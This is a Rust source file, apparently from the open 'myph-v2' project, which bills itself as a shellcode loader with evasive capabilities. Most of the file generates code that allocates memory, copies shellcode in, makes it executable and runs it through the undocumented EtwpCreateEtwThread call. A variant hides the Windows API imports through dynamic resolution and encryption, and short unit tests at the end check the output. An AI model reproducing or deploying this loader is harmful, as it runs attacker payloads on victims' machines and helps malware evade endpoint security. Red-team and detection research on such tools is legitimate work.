myph-v2.git


myph-v2

~ rust shellcode loader with evasive capabilities
git clone https://github.com/djnnvx/myph-v2.git
log | files | refs | archive | README

etwp.rs (6893B)

      1 pub fn etwp_import() -> String {
      2     r#"
      3 use std::ptr;
      4 "#
      5     .to_string()
      6 }
      7 
      8 pub fn etwp_const() -> String {
      9     format!(
     10         r#"
     11 {}
     12 
     13 const INFINITE: u32 = 0xFFFFFFFF;
     14 
     15 #[link(name = "kernel32")]
     16 extern "system" {{
     17     fn WaitForSingleObject(
     18         handle: *mut std::ffi::c_void,
     19         milliseconds: u32,
     20     ) -> u32;
     21 }}
     22 
     23 #[link(name = "ntdll")]
     24 extern "system" {{
     25     fn RtlCopyMemory(
     26         destination: *mut std::ffi::c_void,
     27         source: *const std::ffi::c_void,
     28         length: usize,
     29     );
     30 
     31     fn EtwpCreateEtwThread(
     32         start_address: *const std::ffi::c_void,
     33         parameter: usize,
     34     ) -> *mut std::ffi::c_void;
     35 }}
     36 "#,
     37         super::common::COMMON_MEMORY_CONSTANTS
     38     )
     39 }
     40 
     41 pub fn etwp_init() -> String {
     42     String::new()
     43 }
     44 
     45 pub fn etwp_process() -> String {
     46     r#"
     47     unsafe {
     48         let base_addr = VirtualAlloc(
     49             ptr::null_mut(),
     50             shellcode.len(),
     51             MEM_COMMIT | MEM_RESERVE,
     52             PAGE_READWRITE,
     53         );
     54 
     55         if base_addr.is_null() {
     56             panic!("failed");
     57         }
     58 
     59         RtlCopyMemory(
     60             base_addr,
     61             shellcode.as_ptr() as *const std::ffi::c_void,
     62             shellcode.len(),
     63         );
     64 
     65         let mut old_protect: u32 = PAGE_READWRITE;
     66         let result = VirtualProtect(
     67             base_addr as *mut std::ffi::c_void,
     68             shellcode.len(),
     69             PAGE_EXECUTE_READ,
     70             &mut old_protect,
     71         );
     72 
     73         if result == 0 {
     74             panic!("failed");
     75         }
     76 
     77         let thread_id = EtwpCreateEtwThread(base_addr, 0);
     78         if thread_id.is_null() {
     79             panic!("failed");
     80         }
     81 
     82         WaitForSingleObject(thread_id, INFINITE);
     83     }
     84 "#
     85     .to_string()
     86 }
     87 
     88 fn generate_etwp_template(function_name: &str) -> String {
     89     super::common::TechniqueTemplateBuilder::new()
     90         .with_import(etwp_import())
     91         .with_const(etwp_const())
     92         .with_init(etwp_init())
     93         .with_process(etwp_process())
     94         .build(function_name)
     95 }
     96 
     97 pub fn generate_etwp_code(function_name: &str) -> String {
     98     generate_etwp_template(function_name)
     99 }
    100 
    101 fn etwp_process_with_dynamic_resolver(
    102     encryptor: &dyn crate::encryption::Encryptor,
    103 ) -> Result<String, String> {
    104     use super::dynamic_common::*;
    105 
    106     let virtual_alloc = virtual_alloc_resolver(encryptor)?;
    107     let rtl_copy_memory = rtl_copy_memory_resolver(encryptor)?;
    108     let virtual_protect = virtual_protect_resolver(encryptor)?;
    109     let etwp_create_etw_thread = etwp_create_etw_thread_resolver(encryptor)?;
    110     let wait_for_single_object = wait_for_single_object_resolver(encryptor)?;
    111 
    112     Ok(format!(
    113         r#"
    114     unsafe {{
    115         {virtual_alloc_resolver}
    116         {virtual_alloc_cast}
    117 
    118         let base_addr = virtual_alloc(
    119             ptr::null(),
    120             shellcode.len(),
    121             MEM_COMMIT | MEM_RESERVE,
    122             PAGE_READWRITE,
    123         );
    124 
    125         if base_addr.is_null() {{
    126             panic!("failed");
    127         }}
    128 
    129         {rtl_copy_memory_resolver}
    130         {rtl_copy_memory_cast}
    131 
    132         rtl_copy_memory(
    133             base_addr,
    134             shellcode.as_ptr() as *const std::ffi::c_void,
    135             shellcode.len(),
    136         );
    137 
    138         {virtual_protect_resolver}
    139         {virtual_protect_cast}
    140 
    141         let mut old_protect: u32 = PAGE_READWRITE;
    142         let result = virtual_protect(
    143             base_addr,
    144             shellcode.len(),
    145             PAGE_EXECUTE_READ,
    146             &mut old_protect,
    147         );
    148 
    149         if result == 0 {{
    150             panic!("failed");
    151         }}
    152 
    153         {etwp_create_etw_thread_resolver}
    154         {etwp_create_etw_thread_cast}
    155 
    156         let thread_id = etwp_create_etw_thread(base_addr, 0);
    157         if thread_id.is_null() {{
    158             panic!("failed");
    159         }}
    160 
    161         {wait_for_single_object_resolver}
    162         {wait_for_single_object_cast}
    163 
    164         wait_for_single_object(thread_id, INFINITE);
    165     }}
    166 "#,
    167         virtual_alloc_resolver = virtual_alloc.resolver_code,
    168         virtual_alloc_cast = virtual_alloc.cast_code,
    169         rtl_copy_memory_resolver = rtl_copy_memory.resolver_code,
    170         rtl_copy_memory_cast = rtl_copy_memory.cast_code,
    171         virtual_protect_resolver = virtual_protect.resolver_code,
    172         virtual_protect_cast = virtual_protect.cast_code,
    173         etwp_create_etw_thread_resolver = etwp_create_etw_thread.resolver_code,
    174         etwp_create_etw_thread_cast = etwp_create_etw_thread.cast_code,
    175         wait_for_single_object_resolver = wait_for_single_object.resolver_code,
    176         wait_for_single_object_cast = wait_for_single_object.cast_code,
    177     ))
    178 }
    179 
    180 fn generate_etwp_template_with_dynamic_resolver(
    181     function_name: &str,
    182     _encryption_type: &str,
    183     encryptor: &dyn crate::encryption::Encryptor,
    184 ) -> Result<String, String> {
    185     let process_code = etwp_process_with_dynamic_resolver(encryptor)?;
    186 
    187     Ok(super::common::TechniqueTemplateBuilder::new()
    188         .with_import(etwp_import())
    189         .with_const(etwp_const())
    190         .with_init(etwp_init())
    191         .with_process(process_code)
    192         .build(function_name))
    193 }
    194 
    195 pub fn generate_etwp_code_with_dynamic_resolver(
    196     function_name: &str,
    197     encryption_type: &str,
    198     encryptor: &dyn crate::encryption::Encryptor,
    199 ) -> String {
    200     generate_etwp_template_with_dynamic_resolver(function_name, encryption_type, encryptor)
    201         .unwrap_or_else(|err| {
    202             panic!(
    203                 "Failed to generate Etwp code with dynamic resolver (encryption: {}): {}",
    204                 encryption_type, err
    205             )
    206         })
    207 }
    208 
    209 pub struct EtwpGenerator;
    210 
    211 impl super::trait_generator::TechniqueGenerator for EtwpGenerator {
    212     fn generate_code(&self, _process: &str, function_name: &str) -> String {
    213         generate_etwp_code(function_name)
    214     }
    215 
    216     fn generate_code_with_dynamic_resolver(
    217         &self,
    218         _process: &str,
    219         function_name: &str,
    220         encryption_type: &str,
    221         encryptor: &dyn crate::encryption::Encryptor,
    222     ) -> String {
    223         generate_etwp_code_with_dynamic_resolver(function_name, encryption_type, encryptor)
    224     }
    225 
    226     fn requires_process(&self) -> bool {
    227         false
    228     }
    229 
    230     fn name(&self) -> &'static str {
    231         "Etwp"
    232     }
    233 }
    234 
    235 #[cfg(test)]
    236 mod tests {
    237     use super::*;
    238 
    239     #[test]
    240     fn test_generate_etwp_template_contains_all_parts() {
    241         let template = generate_etwp_template("MyFunction");
    242         assert!(template.contains("use std::ptr"));
    243         assert!(template.contains("MEM_COMMIT"));
    244         assert!(template.contains("EtwpCreateEtwThread"));
    245         assert!(template.contains("fn MyFunction"));
    246         assert!(template.contains("VirtualAlloc"));
    247     }
    248 
    249     #[test]
    250     fn test_generate_etwp_code() {
    251         let code = generate_etwp_code("MyRandomFunc");
    252         assert!(code.contains("fn MyRandomFunc"));
    253         assert!(code.contains("EtwpCreateEtwThread"));
    254         assert!(code.contains("WaitForSingleObject"));
    255     }
    256 }